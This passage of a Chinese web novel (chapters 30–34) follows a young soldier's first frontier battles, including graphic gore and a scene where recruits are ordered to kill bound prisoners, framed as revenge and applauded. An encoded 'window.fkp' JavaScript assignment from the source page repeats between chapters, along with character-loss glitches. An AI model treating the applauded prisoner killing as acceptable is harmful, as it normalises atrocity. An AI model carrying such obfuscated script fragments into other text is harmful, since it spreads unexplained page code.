这天清晨,杨落儿早早的就起来为弟弟收拾好了行装。虽然知道杨笑的身上有保命仙甲,又身怀绝技,军中又有堂叔上下打点,可杨落儿的心里面还是免不了的担忧。 杨笑见姐姐这这般神情就微笑着安慰姐姐不用担心。杨落儿的担忧哪是他一两句话就能安慰得了的。临出门时杨落儿还在千叮咛万嘱咐。 杨笑回过身见姐姐忙活了一早上都没顾得上梳洗,就伸手将姐姐垂在前额上的一缕发丝理了理,又跟姐姐拥抱了一下。杨落儿拉着杨笑的手犹在叮嘱:“到了边疆千万要小心,莫要逞能。” 杨笑说道:“知道了!我会记住二叔的话的。”说着就学起杨豹的样子和语气来:“你小子初到边关,还是个什么都不懂的生瓜蛋子,要记住,凡事不要逞能。遇到了事情不要傻呼呼的冲在最前面,但也不能落在最后,中间靠后一点的位置是最好的,即可保命,又不耽误捞功劳……。” 必经杨笑是家里的独苗,叮嘱他一些战场上保命的诀窍还是有必要的,这也是做堂叔的唯一能为他做的了。 杨落儿被弟弟的样子逗的有些想笑,伸手在杨笑身上轻打了一下。杨笑冲姐姐一笑:“姐姐只管在家等我回来。”说完翻身上马头也不回的策马而去。 杨落儿站在门前久久而立,直到杨笑的身影消失在她的视野中,又过了好一会儿杨落儿才转身不舍的离去。 杨落儿这边是满心的担忧,必经弟弟长这么大从来都没有离开自己这么久过,而且去的还是那充满了刀光剑影的边关。可杨笑的心里却是满腔热血,意气风发。他已经开始幻想着自己凯旋而归,功成名就,迎娶自己朝思暮想的云姐姐了。 究竟杨笑在边疆又会有一番什么样的经历?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十回 天堂与地狱 在西梁与雪藩族接壤的地方,到处都是崇山峻岭。在这些高大的山峰里有不少山峰的山顶上一片雪白,许多大山上的积雪更是终年不化。雪藩族就是凭借着这道天险与大周王朝战战和和的对峙了不知道多少年。 雪藩族与西梁军都在这些崇山峻岭间的关键之处设立了许多的哨所与关隘。这些年来两族之间多有磨擦,也互有死伤。 在一处山谷间的平地上建有一处营地。这里是西梁军在与雪藩族之间的边疆上设立的诸多营地之一。 这一天营地里新来了一队人马。按照西梁军在这一带边境上的规定,这些营地里的驻军每半年就要有一轮换防,以便让驻守的士兵们能够得到休养生息的时间。今天来的这支队伍就是来接替驻防的,杨笑与赵,程两人便都在其中。 杨笑所在的这只队伍当中约有一半都是刚入伍的新兵。他们在距离营地百里外的一座用来屯军的城池中休整了一段时间后就被派到这里来了。 刚从家里出发的时候,大家的心里对边疆这个地方还是充满了好奇的。 “大漠沙如雪,燕山月似钩。” “黄河远上白云间,一片孤城万仞山。” “明月出天山,苍茫云海间。 长风几万里,吹度玉门关。” ……。 这些描写边疆美景的诗文一听就让人们对边疆充满了向往。 “黄沙百战穿金甲,不破楼兰终不还。” “男儿何不带吴钩,收取关山五十州。” “偏坐金鞍调白羽,纷纷射杀五单于。” ……。 这些记录杀敌破阵的名句莫不让人闻之热血沸腾。 不过诗歌里描绘的景致再好,必经只是诗歌里说的。在经过了连日的行军,一路翻山越岭之后,大家的那股子新鲜劲儿早就给累没了。杨笑还好些,必经有修为傍身,其他人可就全都是满脸的疲惫喽! 诗歌里的东西,还是让它在诗歌里待着吧! 按照规定,新到的驻军要与旧有的驻军一起驻防一段时间,以便于有一个很好的交接,让新的驻军能够充分的了解防区内以及周边的地形和局势。 此处营地里驻守着不到三百名军卒,再加上一些民工杂役还有俘虏来的奴仆,总共有三百大几十的人马。营地前方辖有七八处哨所,每处哨所驻防一伍。西梁军制,一伍为十人。哨所里值勤的士兵每半月换防一次。 一下子来了这么多人,让本就有些拥挤的营房更加的紧张了。暂时没有地方住,杨笑他们只能在外面搭起了帐篷。 至晚,安营扎寨完毕。晚饭后,一身疲惫的士兵们很快便进入了梦乡。杨笑像往常一样将龙虎功运行了一个大周天后才躺下休息。 经过三天的休整后,新到的驻军在旧有驻军的带领下开始分批巡视防区,以使他们能够尽快的了解防区内的情况。 蔚蓝的天空上点缀了几片洁白的云朵,软软的云朵就像是飘在天上的一般随着微风轻轻地挪动着。飞的又高又远的雄鹰,像一个小黑点儿穿梭在蓝天白云之间。 天空下,山顶上的积雪反射着明媚的阳光。山上的积雪融化后汇成了一条条的小溪,小溪像一个个顽皮的孩童般欢快的雀跃在山间。 得到了雪水滋润的山脚下变的郁郁葱葱。溪水汇成的小河在野花和青草铺就的山谷里蜿蜒地游动着,偶尔有小鹿的身影在树林间一闪而过,也有矫健的山羊在小河边饮水,还有不知名的小鸟藏在枝头上欢快的歌唱。 好一派人间仙境的景像! 一连巡视了几个山头和哨所,除了山路难走些外一切都还好。此时的杨笑他们正走在一处山谷间,往前再走几里路就是下一个哨所了,这个时候山路在前面来了个急转弯。 峰回路转,转过弯后的山谷间是一片比较开阔的平地。这时一群藩兵猛的闯入了他们的眼帘。双方碰面后都先是一愣,紧接着便纷纷拔刀相向,二话不说就撕杀在了一起。 方才的人间仙境在这一刻彻底的变了模样。 天堂与地狱同在。 双方立刻就在这片面积不大的空地上展开了一场激战。由于地方很小,所以双方的人员并不能完全的施展开。与藩兵搏命的时候,西梁的老兵们还要顾及着身边的新兵,以尽量不让他们受到伤害。杨笑等一干新兵被老兵们护在身后,一时间有些插不上手。 很快双方便出现了死伤。残肢断臂飞落,大好的头颅滚在一旁,鲜血溅的到处都是。 杨笑虽有一身修为,奈何没有经历过这等场面,一时间被眼前这般惨烈的场景给慑住了。这时他身旁的一名西梁兵一个不慎被藩兵一刀劈在当胸,一只肩膀都差点被砍下来,脖子被砍的歪在了一边。那名西梁兵的鲜血喷溅而出,溅了旁边的杨笑一脸。 那藩兵战胜对手还没来的及高兴就被另一名西梁兵一刀捅透了肚子。藩兵脸上刚露出来的笑容立刻凝固住了,他低头看向自己的腹部,鲜血正泊泊地顺着伤口流出来。那名西梁兵抓着刀柄在他的肚子里一搅,然后猛的把刀抽了出来,藩兵肚子里的肠子和着鲜血流了一地。那名西梁兵并没有就此罢休,而是又一刀砍在了那藩兵的肩上,藩兵整个人都差点被斜劈做两半。 这一切全都落在了杨笑的眼中。两次当胸一刀斜劈下来,与母亲惨死时的一幕何其的相似。 杨笑只觉眼前一晃,一阵头昏脑胀,脑海中母亲惨死的画面一遍遍的闪现,杨笑整个人顿时呆在了当场。幸亏被两名老卒竭力相护才没有受伤。 杨笑被护着送下了战场。在这边还有另外两个被战场上的惨像吓坏了的新兵。 其实双方在人数上是相当的,但西梁军这边因为有许多都是没有经过沙场历练的新兵,而藩兵们却都是身经百战的老卒,双方一阵撕杀后西梁军很快就落了下风。幸好这时候援兵赶到才合力杀退了藩兵。 事后审问捉来的俘虏才知道这不过是一支迷了路的藩兵。双方当天的遭遇,事出突然,西梁军以为藩兵在这里埋伏自己,而藩兵则以为自己被西梁兵包围了,于是双方二话不说便大打出手,就此展开了一场搏杀。一次本来无关紧要的误会被硬生生的演变成了一场遭遇战。 回到营地后,领队的百夫长对新兵们在这场遭遇战里的表现大为光火。堂堂西梁步军,七尺男儿竟然在战场上被吓破了胆,真乃奇耻大辱。 百夫长当了这么多年的兵,在边境上不知道与敌人撕杀了多少回。战场上的新兵他见过不少,但吓成这样的他还是头一次见,而且还是自己手下的兵,这岂不是自己从军生崖中的笑柄? 杨笑等几个新兵被罚绕着营地跑三十圈,晚上不许吃饭。杨笑机械般的跟着前面的人跑动着,脑海里母亲惨死的一幕与战场上的情景不断的浮现在他的眼前……。 原本满怀着一腔热血和希望来到了边疆,可谁知刚到这里就给杨笑来了个这么大的下马威。杨笑究竟要怎么样才能挺过这一关,今后他在边界上还会遇到什么样的危机?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十一回 燃烧吧复仇的火焰 几日后,杨笑等一众新兵被集中在营地内的操场上。杨笑以及另外几个在战场上拖了后腿的新兵被勒令出列。 在他们的面前树了几根木桩,每一根木桩的上面都绑着一个从藩族抓来的俘虏。这些俘虏有老有少,老的年近六十,小的只有十三四的样子。每一个俘虏都是衣衫褴褛,身上挂着或多或少的伤?,其中一个俘虏混身上下满是触目惊心的伤?,已经有些奄奄一息了,显然是受到了不轻的折磨。两族的将士们都有亲朋好友们死伤在对方的手里,双方之间早已有着不可调和的仇恨,所以虐杀俘虏对于双方的将士们来说早已经是司空见惯的事情了。 百夫长看着站在自己面前的几个新兵一边来回的踱着步子一边缓缓说道:“你们几个前两天在战场上可真是给我长了一份好脸呐!”任谁都听得出来语气里夹带的嘲讽。 “我也不怪你们,必经是第一次在战场上见血嘛,说一点都不害怕的那都是假话。任谁第一次处在那种情况下都会有些胆怯,这是人之常情。”百夫长越说越气,说到后面已是怒不可遏:“可你们几个居然被那些藩狗给吓破了胆!现在,就给你们一个机会,让你们沾沾血腥味儿,壮壮你们的狗胆!” 百夫长说完就站到了一旁高声道:“现在,在你们面前的就是用来让你们几个开开荤的藩狗。现在听我的命令……拔刀!” 仓啷…仓啷……。杨笑等人纷纷拔出了腰间的佩刀。 “向前一步走!”几个人齐向前迈出一大步。“杀!”百夫长大声的下达了最后的命令。 有人立刻咬咬牙冲上前去捅出了手里的刀;也有人大叫一声自己给自己壮一壮胆子,然后向着被绑在面前的俘虏劈出了一刀……。那些俘虏或是发出一声惨叫或者是闷哼一声,全都结束了生命。 每当有一个新兵鼓起勇气杀死自己面前的俘虏后百夫长都会夸奖一声:“好!杀的好!杀了他们,把他们的脑袋割下来挂在你们的床头上,这就是你们的战利品。” 最后只剩下杨笑迟迟没有动手。百夫长大声的喝诉道:“杨笑!你在干什么?杀了他!” 杨笑抬起一只脚向前迈了一小步,但他却怎么也抬不起手里的刀,他浑身都在紧张的颤抖着,他甚至不敢睁眼看向面前的藩族俘虏。 百夫长一连命令了几次,杨笑都站在那里一动不动。百夫长大步上前一脚踹在杨笑身上。 杨笑一个跟头翻倒在地,刀也掉在了一边。百夫长走过去蹲在杨笑跟前:“听说你在家是一个富家公子哥?像你这样从小娇生惯养的最应该沾沾血,尝尝杀人的滋味。”百夫长一边说着一边捡起杨笑的刀,像拎小鸡一样把杨笑拎起来推到了那个藩族俘虏的跟前。 百夫长把刀塞到杨笑的手里厉声道:“你看看,看看你面前的这个人,他是一个杀了你无数亲人无数袍泽的恶魔!他的手上沾满了我西梁子民的鲜血!他是你的仇人!杀了他!” 杨笑低头看着手里的刀。 “呵呵呵……哈哈哈……。”那个被绑在木桩上的藩族俘虏突然笑了起来,他越笑声音越大,越笑越张狂。“你这个懦弱的胆小鬼,你们周人都是懦夫!哈哈哈哈……。”那俘虏用藩族语言说道。 “抬起你的头!”百夫长大声的命令道。 杨笑有些木讷的慢慢地抬起了头,他看向面前的藩族俘虏,那个藩族俘虏也张狂大笑着看向他。藩族俘虏边看边嘲笑着:“总有一天,我们藩族的勇士们,会杀光你们的男人!抢光你们的财宝!肆意的玩弄你们的女人!啊哈哈哈……。” 两个人的目光对视在一起。杨笑看着他满是嘲讽的目光,渐渐的杨笑好像从他的目光中看到了一丝熟悉的感觉。他好像看到了当年的那个藩兵首领,他看到了那个藩兵首领那张丑陋的嘴脸。他永远不会忘记那张脸,永远不会忘记那张脸上的表情。 杨笑感到一阵阵的头痛,他的视线越来越模糊,在这片模糊当中杨笑好像又飘回到了当年的三青镇,他以一个旁观者的身份再次的目睹了家人惨遭劫难的全过程。他看到了父母和姐姐的无助、恐惧、绝望还有愤恨。 他看到了父亲被绑在地上痛哭着,叫骂着,那叫骂声就像是在一声声的指责他一样:你为什么不为爹娘报仇?! 他看到了姐姐纵身跳入了水井里,那一声“噗通”的落水声就好像直接撞到了他的心脏:“弟弟,井水里面真的好冷。” 他甚至又看到了母亲惨死在床上的景像!从母亲那双充满了仇恨的空洞的眼睛里他好像看到了火焰,那是熊熊燃烧着的复仇的火焰! 那火焰无声的低吼着:“报仇!报仇!……!” 家人无助的声音不住的在他的耳边回荡,藩兵们那得意洋洋的嘴脸也一圈圈的围绕在他的眼前。他伸手想要去抓住他们,他想要把他们都撕成碎片,可他什么也抓不到,什么也做不了。他只能眼睁睁的看着这一切就那么的发生着。他开始感受到了自己的弱小,感受到了自己的无助。在这份弱小无助的感受中他好像又听到了母亲在他的耳边呼唤,那声音即贴近又遥远,即清晰又模糊,那是:杀了他!杀了他!……。 “……杀了他!”百夫长在耳边的吼叫声把杨笑拉回到了现实。 杨笑缓缓的提起那把刀,此时此刻的他,感觉手里的这把刀仿佛有千钧之重一般。他在心里自嘲着:“杨笑啊杨笑,你到底算个什么东西?你到底在干什么?你不是要报仇吗?现在藩狗就在你的面前,你就是这样报仇的吗?你这个样子跟废物又有什么两样?你对得起谁?” 母亲的声音好像又出现在了他的耳边,她那幽怨的声音一声声的凄惨的说着:“杀了他!杀了他!……!” 杨笑呼哧呼哧的喘着粗气,他感到嗓子里一阵发干。“我要报仇!”沙哑的声音缓慢而坚定。 百夫长在他的耳边鼓励道:“对!你要报仇,你现在就要报仇!”百夫长歇斯底里地咆哮道:“报这血海深仇!” 杨笑终于忍不住了,他终于爆发了,他的心里燃起了无穷无尽的复仇的火焰。他像疯了一样歇斯底里的大叫着:“啊!” 那把刀在他的手里颤抖着,不是因为害怕,不是因为紧张,而是因为愤怒! “噗嗤”一声,刀尖从藩族俘虏的后背透出。藩族俘虏的笑声戛然而止,嘲笑的表情也凝固在了他的脸上。藩族俘虏的脸上渐渐的露出痛苦的神色来,杨笑看到他这幅样子心中竟生出一丝快意来。那是复仇的快意,是将蒙在心头多年的阴霾一扫而光的快意。杨笑下意识的将手里的刀扭动一下,血从藩族俘虏的伤口处流了出来,也从他的嘴里流了出来。藩族俘虏张开嘴想要说些什么,但他什么也说不出来,他轻咳了两声,嘴里冒着血泡。 杨笑还在大声的叫着。他猛的把刀拔出来,藩族俘虏的血从伤口里喷了出来,喷了杨笑满身满脸。不同的是这一次的鲜血给他带来的不再是恐惧,而是像在火焰里又浇上了一桶油,让复仇的火焰燃烧的更加的汹涌了。 杨笑的眼里充满了血丝,他一刀接一刀的砍出去。在他的眼里看到的不在是面前的这个藩族俘虏,他看到的是杀害母亲的那群藩兵被自己一个接一个的砍倒在地。他的心里一直有个声音在告诉自己:“报仇!报仇!……!” 杨笑仿佛陷入了一种魔怔,他就像是真的疯了一样,大叫着一刀一刀的就这样一直砍着。每一刀都竭尽全力。木桩上的锁链在火星四溅中被砍断了,被砍成几块的尸体掉在了地上他依然在不停的砍着,直砍的血肉四溅,泥土翻飞。 不知道过了多久,杨笑终于停了下来。这时的他披头散发的爬在地上喘着粗气,血水、汗水还有泪水混在一起糊满了他的脸,也沾满了全身。满是豁口还断了一截的钢刀拄在地上,而他的面前哪里还有什么藩族俘虏的身影,早被杨笑剁成了肉泥,有的只是满地的狼藉。杨笑身子下的土地就好像被犁了一遍似的,就连那棵木桩都只剩下了一半。 四周一片寂静。大家都呆呆的看着眼前的一切,一时间气氛有些凝固。 “啪,啪,啪……。”一阵零散的掌声打破了这份寂静。百夫长愣愣的看着杨笑鼓着掌,在百夫长的带动下传来一阵热烈的掌声。 杨笑在众人的掌声中猛的站起身来哭喊着向营门外跑去,百夫长连忙让人去追:“快快快,去两个人看着他。”程江和赵钱眼儿早跟了上去。 杨笑又是否能从痛苦之中走出来,等待他的又会是什么?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十二回 是男人就要站着 杨笑出了营地后一路向山上跑去,以他的修为全速奔跑起来又岂是赵、程二人的脚力能跟得上的?等两个人追出营门后也只是远远的看见杨笑消失在了路旁的树丛中。 赵钱眼儿看着杨笑消失的地方又看看身后的营门惊呀道:“我的老天爷!他怎么跑这么快?”程江边跑边说道:“你还愣在那里干什么?再不追就更追不上了。”赵钱眼儿这才连忙又迈开步伐追了上去。 等他两个追进树林里后哪还有杨笑的影子。赵钱眼儿四下里看看没有见到杨笑的踪迹一摊双手说道:“完了,完了完了……!这深山老林的,这可上哪儿去找他?” 几步之外的程江仔细地观察了一下四周的情况后向赵钱眼儿摆摆手道:“在这里!快来!” 赵钱眼儿闻言赶紧跑过来:“哪儿?哪儿呢?”他顺着程江手指的方向看过去,除了树林里的灌木和杂草外什么也没看到。赵钱眼儿有些无语道:“我说老程,都什么时候了你还拿我寻开心?不是……平时我怎么没看出来,你这么个实在人还有这开玩笑的天赋呢?” 程江指着一根折断的小树枝说道:“谁跟你开玩笑了?你看这是什么?” 赵钱眼儿低头看了一眼程江手指的树枝说道:“一根树枝啊。” 程江立刻为他的话下了结论:“错!” 赵钱眼儿瞪大了眼睛也没看出来那根树枝有什么特殊的地方,他挠挠头说道:“就是一根树枝啊?!” 程江再次否定道:“不对!” 赵钱眼儿直起身来有些不高兴道:“都什么时候了,那你说这是什么?” 程江认真道:“是一根折掉的树枝。” 赵钱眼儿心里有一万只那个啥奔腾而过:“有区别吗?这跟找杨笑有关系吗?” 程江认真的回答道:“有!” 赵钱眼儿真是无语到了极点,他一手叉腰一手拿手指点着程江说道:“好好好,那你说说看有什么关系。” 程江说道:“我以前在家跟我爹上山打猎的时候我爹告诉过我,他说所有的猎物都会留下自己活动的?迹,只要跟着这些?迹就能找到它们。这根树枝的断口很新,证明刚刚有什么东西从这里经过。而我们一路跟来,根本就没有看到有什么大一些的野兽从这里经过,所以这应该就是杨笑留下的痕迹。断口的方向就是杨笑离开的方向,我们只要跟着这些痕迹就一定能够找到他。” 赵钱眼儿眨眨眼疑惑道:“你是说跟着这个就能找到杨笑?” 程江点点头。 赵钱眼儿立刻催促道:“那还等什么,赶紧走啊!” 两个人于是一路顺着杨笑留下的?迹向山上找去。 再说杨笑,此时在他的眼里哪还分什么路不路的,出了营门后根本不管是什么方向,只是一个劲儿的哭喊着跌跌撞撞的狂奔而去。 他就好像是一个丝毫不知道疼痛机器一般,摔倒了就立刻爬起来接着向前奔跑。终于,杨笑似乎是跑累了,一个跟头摔倒后趴在地上,一边哭喊着一边用拳头使劲地捶打着身下的土地。 这些年来,他心里的压力实在是太大了,他真的需要找一个地方来宣泄一下,否则的话他不知道自己什么时候就会崩溃掉。以前在家里的时候心里的情绪不方便流露出来,在姐姐面前他总是装作一幅若无其事的样子,因为他怕姐姐为他担心。现在好了,天地之间就只剩自己一个人了,杨笑可以尽情的发泄一番。也不知道过了多久,杨笑终于止住了哭声,他从地上爬起来坐在一块石头上,蜷缩着身体,把脑袋埋在双臂间,就这么一声不吭的坐在那里一动不动。 一直到了太阳快下山的时候,杨笑还坐在那块石头上保持着那个姿势。这时一只手掌放在了他的肩膀上,是程江。 “虽然不知道你经历了什么,但我知道那一定很痛苦。”程江越过杨笑向前几步背对着杨笑环抱着双臂接着说着:“别难过了兄弟,一切都已经过去了。男人,就该站着,勇敢的面对一切!” 不远处,赵钱眼儿累的瘫坐在地上,他指着程江上气不接下气的骂道:“他妈的!……没想到……你小子……还挺会煽情。” 经过一番发泄后,杨笑这时候也早已经从痛苦中走了出来。他慢慢地抬起头来对两个人说道:“我没事儿了,谢谢你们。” 赵钱眼儿摆摆手,他喘着气说道:“不用。不过从你的声音里能够听出来,你的心情还是很是有点不太好呀。你要是真想感谢我俩的话,回头请我们哥俩好好吃一顿就行了。”赵钱眼儿说完一下子四仰八叉的躲在地上:“哎呦我的妈呀!可累死我了。我是一点儿也走不动了,待会儿你俩背我回去啊。” 程江背对着赵钱眼儿翻了下眼睛骂道:“瞧你那个怂样。” 赵钱眼儿反驳道:“老子什么样?” 程江又骂道:“往地上一瘫,跟一个大字似的,还有脸让人背回去,长的倒是人模狗样,你立多大功啊?” 赵钱眼儿抬头看了看自己躺在地上的样子,又看向杨笑和程江两个人。从他这个角度看过去,两个人就像是在他的脚底下似的,赵钱眼儿觉得这很有意思,咧开嘴笑道:“胡说!” 程江转身就往赵钱眼儿的方向走过去,一边走一边搓着双手:“哪儿呢?我看看。” 程江一副老实巴交的样子,说话的语气也是很老实人的样子,要是不熟悉的人还真要以为他在虚心请教呢。 赵钱眼儿见势不妙,赶紧从地上爬起来,两个人于是围着杨笑一阵的转圈打闹。 被两个人这样一闹,冷清的气氛也活跃了许多。 等杨笑三人回到营地的时候已经是快要熄灯的时候了。百夫长特意吩咐厨房给他们三个留了晚饭,三人草草的吃过后就躺下休息了。 从这以后的一段时间里,不甘心吃亏的藩族人又在边界上与西梁兵们发生了多次摩擦,而杨笑就真的像是变了一个人似的,每次交战都冲锋在前,每次与藩族人交手都是杨笑连斩数人把藩兵们杀的落荒而逃。由于杨笑作战勇猛连战连胜,且每战必是头功,很快就受到了提拔,接替一位在战斗中受伤的伍长,成为了新任伍长。 这天杨笑正带领手下的士卒们在一处哨所中值守,突然有一名士卒来报:“我方一处哨所发出求救信号,似乎是受到了藩狗们的袭扰。”杨笑登上了望台向远处望去,只见那里正有一股股狼烟冲天而起,正是西梁军受到敌方偷袭时的求救信号。 杨笑心道:“一定是藩狗们近来接连受挫,想要靠偷袭哨所来找找场子。”他眼珠转了转传令道:“所有人随我出击救援受袭哨所!” 旁边一名士卒说道:“万一这是藩狗的调虎离山之计如何是好?” 杨笑笑了笑:“一来咱们不走平时巡逻的路线,藩狗们就算想埋伏咱们也埋伏不着。二来就算藩狗趁机烧了咱们的哨所,也不过是几顶帐篷一堆木头罢了,咱们很快就能修好。而若是让对方真的攻下那座哨所的话,那里面的兄弟们可就要遭殃了。用这一堆破草棚烂木头就能换来兄弟们的性命,我认为再划算不过。” 到底这是不是藩族人的一场阴谋?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十三回 被偷了家 上回说到杨笑在哨所值守时发现邻近哨所发出求救信号,于是杨笑立刻带领手下众人顺着小道绕到了藩军的背后。 此时正值攻守双方的关键时刻,藩军忽然发现后路被断,已经陷入了西梁军的包围之中,立时慌了阵脚。哨所内防守的西梁军见援兵到来,敌军又大乱,立刻冲将出来与杨笑所率人马前后夹击,藩兵在慌乱中大败而回,死伤不少。 自此以后藩兵便安稳了不少,有大半年的时间不敢再来生事。 藩兵在近一年的时间里连番受挫,虽说暂时安静了许多,但其又怎么会轻易咽下这口气? 这一天又轮到杨笑带队在哨所值勤。白天空闲的时候有两个士兵在山上下套,套住了几只野兔和山鸡。以往大家在山上要下好几天套才能抓一两只野味,像今天这么丰富的收获真是少有的运气。晚饭时大家把抓来的野兔山鸡收拾干净了烤来加餐,虽说肉不多,但好赖也比没有的强。必经只吃自己带的干粮和营地送来的饭菜实在是有些乏味。 杨笑与大家围坐在一起边吃饭边谈笑着,期间各种玩笑,插科打诨不断,还时不时的蹦出来一个浑段子。杨笑虽说年纪不大,又是读书人出身,但在军营里的这段时间对此也早已是见怪不怪了,也时常和袍泽们打成一片,只是当他们开始开黄腔飙段子的时候,杨笑就实在是有些适应不了,也只好闭嘴了。 这时,一名士兵正在调笑另一名士兵的婆娘如何如何,不时的引来大家的一阵笑声。另一人也不甘示弱,以对方一次逛窑子时的糗事来回击着,也是引得众人哄堂大笑。就在众人欢笑间,忽然听到外面值勤的哨兵大声道:“报!” 听到外面的哨兵有事回报,众人立刻止住了笑声。杨笑问道:“何事?” 哨兵回道:“后方营地方向似乎有火光。” 杨笑闻言疑惑了一下起身走出房间。所谓的房间也不过是在山上就着地势挖出一个洞来,再在外面用石头和泥土垒起来两面墙,上面再盖上些庄稼桔杆还还茅草什么的就搭成了一个土房子。像这样的土房子就是每个哨所值守的士兵居住休息的地方。四周再扎上一圈栅栏,再在屋后地势较高的地方搭起一座了望台就成了一个简单的哨所。 杨笑登上了望台向营地的方向望去。此时夜幕早已降临,只见远处的山谷间有阵阵红光闪烁,将山谷上的天空都映红了一片。 杨笑正观看间,旁边一名士兵说道:“不会是伙房的那帮笨蛋们把房子给点着了吧?” 另一人答道:“那也不该有这么大的火呀?这是把所有的房子都点着了吗?” “可营地防守严密,人手又不少,藩狗们总不至于敢去偷营吧?”另一人猜测道。 杨笑打断他们的议论:“咱们能这么想,只怕藩狗们也能想到咱们的想法”说着吩咐道:“你们两个立刻去打探一下,路上切记小心。”二人领命而去。 两个人去了没一会儿就折返了回来,还带回来一名受伤的士兵。这士兵一见到杨笑就急道:“营地正被藩狗们偷袭,他们来势汹汹,我军难以抵挡,我和几个兄弟们奉命突围救援,现在只有我一个人突围出来,其他几个人恐怕已经被藩狗给杀了。” 众人闻言立刻怒意横生,抄起家伙什就要冲出哨所前去救援,杨笑拦住众人道:“藩狗人多势众,就我们几个就算去了也无异于羊入虎口。你们几个快去其它几处哨所通报情况,然后在前面的路口跟我会和。”几个士兵领命而去。 很快其它几个哨所的人都聚集到了一起。几个伍长见人到齐了就要直奔营地而去,杨笑连忙拦住大家。其中一名伍长见杨笑阻拦立刻急了眼:“姓杨的你什么意思?莫不是怕死!?” 杨笑也把眼睛一瞪说道:“杨笑岂是贪生怕死之辈!”接着他语气稍缓与众人解释道:“藩狗既然敢偷袭大营定然来人不少,要是你我就这样冲过去说不定正中人家的下怀,到时候中了埋伏,只怕是白白送了性命。” 那名伍长虽说有些性急鲁莽,却不是个傻子,只是一时心急才有些乱了方寸。现在听杨笑分析的有道理,对自己刚才的话也有些不好意思,就略带慊意的向杨笑问道:“杨兄弟说的有道理,那你说现在咱们该怎么办?” 杨笑将心中的计策说出来,众人听了都说此计可行,于是众人便依计行事。 西梁军营地中此时正火光冲天,喊杀声此起彼伏,中间还不时的传来一声声惨叫。 一名衣着华丽,披着漂亮的红色狐裘斗篷的青年看着眼前的藩兵砍倒一个又一个西梁兵,脸上露出满意的笑容来。这时一名藩兵来报:“报告首领,哨所中的周兵绕过了我方的埋伏救援来了。” 那名青年闻言:“哦?竟然还知道绕路。哼哼,没关系,不过是多了几个送死的,我们还是吃得下的。”那青年把手一挥命令道:“传令下去……。”不等这青年首领说完就又有一个藩兵慌慌张张的跑来。 “什么事如此慌张?”青年首领见那藩兵如此慌张有些不高兴。 那藩兵忙单膝跪地回道:“禀首领,周军大本营方向有援兵到来!” 青年首领闻言心中一紧:“嗯?这么巧?来了多少人?” 藩兵回道:“天太黑看不清楚,不过看样子人数不少。” 那青年首领闻言连忙转身快步跑出营门,蹬上高处向大道上望去。只见远处的夜色中火光点点连成一线,火光中隐约有人头攒动,更有阵阵喊杀声传来。 “杀……大胆藩狗,有胆量的不要走……藩狗,拿命来……。”各种叫喊声此起彼伏连绵不绝,声势着实不小。 藩军首领冷哼一声恨恨道:“来的还真是时候哇!” 一旁的藩兵问道:“首领,我们接下来要怎么办?” 那青年首领眼珠子转了转,略思想一下后命令道:“不要与他们纠缠,速速退兵。” 很快藩兵们便尽数退去。 其实哪有什么大队人马前来救援。原来是杨笑笃定了藩兵孤军深入不敢拖大,就带人绕到大道上,然后又让众士卒们每人手持四五支火把,口中不断高声呐喊同时用力踩踏脚下的地面,装出一幅大队人马前来增援的声势来,把藩兵给吓跑了。 杨笑等人冲入营地之中时,只见大半的营房都被笼罩在火海之中,那雄雄的大火把营地内照的如同白昼,地上躺着许多死伤的西梁兵发出一片衰嚎之声。杨笑生怕藩兵们识破是计再返杀回来,连忙组织人马佯装追了一段路后才折返了回来。 吃了这么大一个闷亏,杨笑所在的军营又该怎么办呢?欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十四回 出来混迟早要还的 上回说到西梁军的营地被藩兵偷袭。这一次偷袭,西梁军可谓是损失惨重,连百夫长都受了伤。虽说伤的不至命,但倒底伤了筋骨,三五个月之内怕是难以再战。 杨笑为百夫长包扎好了伤口。这时有一名士兵来报告受损情况:“禀百夫长,此次我军阵亡三十九人,伤五十二人,其中重伤十人。重伤者中有三人生命垂危,怕是活不过今晚了,其余重伤者半年内恐难再战,其中一人怕是要缷甲反乡了,不过轻伤者大半一旬之内便可恢复战力。营房过半受损,好在扑救及时,多数受损并不太重,半月内有望全部修复。粮草由于本就所剩不多,所以没有什么损失,还可供我军五六日的口粮。” 百夫长听罢重重一叹。杨笑问道:“百夫长,我军除去前方哨所中的近百人,营中连同杂役在内应该还有一百七八十号人马,怎么会损失如此严重?” 